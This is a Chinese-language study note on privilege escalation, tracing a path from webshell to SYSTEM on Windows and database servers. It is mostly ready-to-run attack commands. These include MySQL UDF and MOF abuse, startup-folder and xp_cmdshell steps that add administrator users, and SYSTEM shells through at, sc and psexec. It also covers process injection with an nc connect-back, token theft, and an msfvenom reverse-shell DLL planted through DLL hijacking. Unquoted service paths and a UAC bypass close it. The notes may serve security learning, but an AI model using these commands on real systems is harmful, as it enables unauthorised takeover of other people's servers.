提权顺序:后台权限-->web权限-->操作系统普通用户权限-->操作系统system/root权限-->域控权限
前置知识:
web权限获取途径
- 网站后台
- 第三方应用或插件
- 中间件
- 数据库
- 直接前台文件上传shell或者RCE漏洞
还可以搜网上相关资料如:xxcms后台拿shell
案例:
1.第三方用用或插件都可以作为权限提升途径。phpmyadmin操作数据库,写入webshell到数据库获得WEB权限
2.从WEB权限反向获得数据库权限:直接读取数据库配置文件连接
3.知道cms之后也可以搜索 ofcms后台拿shell
搜不到就找后台功能点
4.在网站后台找功能点(文件上传,命令执行,文件修改等)案例:在OFCMS的后台有个修改文件的地方,直接抓包修改文件内容为webshell,文件后缀为jsp即可连接
系统权限
不同操作系统权限划分:
Linux | Windows |
UID 为 0:root用户 | system用户是系统管理员用户 |
UID 为 1~999:系统用户 | administer是管理员用户 |
UID 从 1000 开始:就是普通用户 | user就是普通用户 |
不同搭建环境的系统权限是不同的
集成软件搭建的会继承软件安装用户的权限
除了集成化软件搭建的和jsp搭建的网站基本都需要提权
特殊:
jsp网站获得webshell就是管理员权限
webshell权限提升到sys
系统溢出漏洞提权:
手工:
大致流程思路:
- 信息收集(操作系统版本,位数,补丁,当前权限,杀软)
- 基于补丁,系统版本,位数筛选存在的cve溢出漏洞(可手工或利用半自动或全自动工具)
- 上传exp调用执行来提升权限
1.信息收集
在webshell命令执行页面收集操作系统版本,位数,补丁,当前权限,杀软等信息
如果出现问题可以在可读写目录上传cmd.exe进行命令执行
信息收集命令:
ver | 用于显示操作系统的版本号 |
systeminfo | 操作系统版本、硬件规格、安装的补丁程序等 |
whoami | 显示当前登录用户的用户权限 |
netstat -ano | 显示网络信息 |
tasklist /svc | 看杀软进程 |
2.获取漏洞编号:
相关工具:Windowsvulnscan(好用);WES-NG(一般);vulnmap
还有一个是在线的网站提权辅助网页 Windows提权辅助 (hacking8.com)
3.获取对应exp
github搜索项目Kernelhub :Kernelhub/README.CN.md at master · Ascotbe/Kernelhub · GitHub
这个项目只提供一个exp如果失败去pocingithub再搜索
如果exp出现问题:1.exp有问题 2.漏洞不存在
自动化工具CS:
1.建立反弹shell连接
2.利用插件进行提权
数据库提权
获得webshell的情况下,若利用系统溢出漏洞无果,可以采用数据库提权
MYSQL:
mysql数据库提权的条件:
1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
3、secure_file_priv 的值不为 NULL
查看secure-file-priv,执行:show global variables like "secure%"
有些大马有修改配置文件的功能,可以把修改secure_file_priv 的值之后再提权
常见密码获取方式:
1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联) 4、高权限SQL注入
UDF导出提权:
原理:UDF为用户自定义函数,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)执行新增用户到system用户组即可
概述:获取密码-创建目录-开启外联-MSF导出dll-命令执行
参考文章:数据库提权——UDF提权 - 知乎 (zhihu.com)
1.使用获取的数据库高权限账号密码登录
2.根据数据库版本创建目录
执行命令:select version() select @@basedir
查看数据库版本和安装目录,数据库版本的不同对应生成dll文件的目录也不同。
mysql<5.2 导出目录c:/windows或system32
mysql=>5.2 导出安装目录/lib/plugin/
看看对应版本对应目录是否存在,不存在目录则自己进行创建
3.打开外连
执行:grant all privileges on *.* to '账户'@'%' identified by '密码' with grant option;
mysql数据库user表中出现如下记录说明成功开启外连。
4.msf导出dll
执行:msfconsole
use exploit/multi/mysql/mysql_udf_payload
配置模板
set username 数据库用户名
set password 数据库密码
set rhosts 目标主机地址
导出dll文件到lib\plugin\目录
执行:run
成功生成:
5.命令执行
使用MSF导出utf.dll文件后,在执行如下命令调用执行
执行:create function sys_eval returns string soname "udf.dll"; //创建函数绑定dll
执行:select * from mysql.func; //查看是否新增了sys_eval函数
此时就可以使用sys_eval函数执行命令了
执行:select sys_eval('whoami');
启动项提权:
将后门写入开机自启动项。在写入之后重启目标服务器后门自动运行
1.将创建好的adduser.bat进行服务器启动项写入,配合重启执行!
写一个adduser.bat文件
@echo
net user ceshi 123!@#ws /add
2.通过文件上传上传adduser.bat文件到网站根目录
3.通过sql命令写入到启动项中
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;
4.服务器重启后就执行成功了
MOF提权:
原理:利用了C:\Windows\System32\wbem\MOF
目录下的nullevt.mof
文件。该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行
利用条件:
-
只使用于windows系统,一般低版本系统才可以用,比如
xp
、server2003
-
对
C:\Windows\System32\wbem\MOF
目录有读写权限 -
可以找到一个可写目录,写入mof文件
提权方法:
-
在可写目录中上传mof文件。
把mof文件上传到
C:/wmpub/nullevt.mof
-
把这个文件复制到
C:/Windows/System32/wbem/MOF/nullevt.mof
目录下select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
将下面这段代码复制到mof后缀的文件中
详见文章:MySQL提权的三种方法 - FreeBuf网络安全行业门户
目前mof提权方法用的比较少,建议使用udf脚本进行MySQL数据库提权。
SQL Server:
参考文章:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客
xp_cmdshell:
原理:利用组件可移执行系统命令的功能进行提权
获得sql server 的高权限用户sa的账号密码后用webshell工具进行连接
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
提权命令
exec master..xp_cmdshell 'net user test pinohd123. /add' //添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' //添加test用户到管理员组
sp_oacreate;sp_oametho
原理同上
沙盒模式提权:
原理:关闭沙盒后可进行命令执行
exec sp_configure 'show advanced options',1;reconfigure;
具体命令详见SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客
Oracle:
直接上神器
Postgre:
CVE-2018-1058
CVE-2019-9193
第三方软件:
看进程的命令:tasklist /svc
向日葵
在webshell发现有向日葵进程的话就可以直接干,没有思路,直接就是cs插件!!!
teamviewer
msf模块或cs插件都可以
本地用户权限提升到sys
继承权限提权:
原理:服务是以system调用的,服务的权限继承自system
AT命令提权:
适用范围:操作系统小于等于win7
原理:at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限
例:at 19:39 /interactive cmd (在19:39分生成一个交互式的System权限的cmd)
SC命令提权:
适用范围: 适用于windows 7/8、03/08、12/16
原理:SC是用于与服务控制管理器和服务进行通信的命令行程序。
通俗理解就是 SC 可以启动一个服务。
sc Create systemcmd binPath= "cmd /K start" type= own type= interact
#其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。
#这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。
sc start systemcmd #启动服务!
PS命令提权:
适用范围: 多版本通杀
微软官方工具包: https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd.exe
进程注入提权:
把自己要运行的文件注入到高权限的进程中去,盗用system权限
1. 工具:pinjector
下载:Tarasco Security: Process Injector
工具使用方法:
pinjector.exe -l 查看可利用的进程
pinjector.exe -p pid cmd port 对pid进程执行注入,并建立侦听端口
2. 利用步骤
演示将Administrator权限提升为System权限
本地用户组(lusrmgr.msc)启用Administrator,关闭防火墙和杀毒软件
1.上传pinjector.exe到靶机可执行目录;
2.运行以下命令,查看当前进程,以及进程权限;
pinjector.exe -l
3.指定某个进程的pid,然后将cmd注入到其中,同时开启侦听端口1234;
pinjector.exe -p 3040 cmd 4444
4.使用nc去连接目标服务器的4444端口,获取system权限的shell。
令牌窃取提权
适用范围:2008及之前版本
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
而令牌窃取就是通过假冒一个网络中的另一个用户进行各类操作。
MSF令牌窃取提权
首先需要将木马上传至需要提权的服务器中,然后执行命令进行令牌窃取提权。
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
劫持DLL提权:
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
Windows查找DLL目录及其顺序如下:
- 1、应用程序加载的目录
- 2、C:\Windows\System32
- 3、C:\Windows\System
- 4、C:\Windows
- 5、当前工作目录Current Working Directory,CWD
- 6、在PATH环境变量的目录(先系统后用户)
但我们一般找本地文件夹里面的dll文件,因为本身就是低权限要提权,自身权限不高也不能对windows文件夹里的文件进行替换
程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功
1、收集进程加载的dll
使用火绒剑分析该进程执行时加载了哪些dll
系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件。
2、msf制作dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134 lport=6677 -f dll >./libssl-1_1.dll
3、替换dll
4、启动软件
启动后执行的是我们替换的木马dll,剩下就是使用msf监听端口接收反弹回来的shell就可以了,思路有很多,取决于我们制作的dll用于干什么。
不带引号的服务路径提权
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
即我们需要寻找不带引号且有空格的服务路径
攻击思路就是:找出服务中,既存在空格路径,还没有用双引号括住的路径。然后制造误会,让服务启动错误的程序,即可拿到system的shell....
利用条件
- 路径中有空格
- 路径中没有用双引号包住
- 可以写入到文件到此路径下
1.webshell写入以下命令查看服务信息
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
2.我们当我们找到存在空格以及可写的路径时,可以进行提权尝试。
3.如果C盘可写,我们像上面一样在C盘下写一个Program.exe,然后重启系统,获取管理员重启该服务的时候就会获取系统权限。
系统服务权限配置错误提权
原理:如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限
》》》PowerUp《《《
》》》PrivescCheck《《《
项目地址:https://github.com/itm4n/PrivescCheck.git
绕过UAC
UAC是一种安全记住,文件的运行由用户控制,当执行一些可执行文件时,会弹窗询问管理员是否执行,会影响提权所以需要学习uac bypass
MSF模块绕过:
UACME:
1.上传工具到目标
2直接选择对应操作系统位数的工具命令行调用 Akagi64.exe 61 msf.exe
这里的61指的是模式为61 执行msf.exe文件